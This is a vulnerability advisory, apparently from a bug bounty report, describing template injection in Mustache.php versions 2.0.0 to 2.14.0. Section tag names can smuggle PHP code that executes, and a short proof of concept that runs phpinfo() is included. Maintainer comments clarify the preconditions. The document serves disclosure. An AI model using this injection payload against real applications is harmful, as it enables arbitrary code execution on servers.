Improper Neutralization of Special Elements Used in a Template Engine in bobthecow/mustache.php
Reported on
Jan 19th 2022
Description
In Mustache.php v2.0.0 through v2.14.0, Sections tag can lead to arbitrary php code execution even if strict_callables is true when section value is controllable.
Proof of Concept
<?php
require 'vendor/autoload.php';
$m = new Mustache_Engine([
'cache' => './cache',
'strict_callables'=>true
]);
echo $m->render('{{# repo
phpinfo();// }}
No repos :(
{{/ repo
phpinfo();// }}', array('repo' =>array()));
Impact
This vulnerability is capable of arbitrary command execution when attacker can control the value of tag
SECURITY.md
2 years ago
- Affected versions are Mustache.php v2.0.0 through v2.14.0.
- It's probably worth noting that this requires rendering untrusted user content as a template.
- In the interest of a cleaner PoC, registering the mustache autoloader is unnecessary, as is the cache setting, and
strict_callables
should be a booleantrue
not the string'true'
:)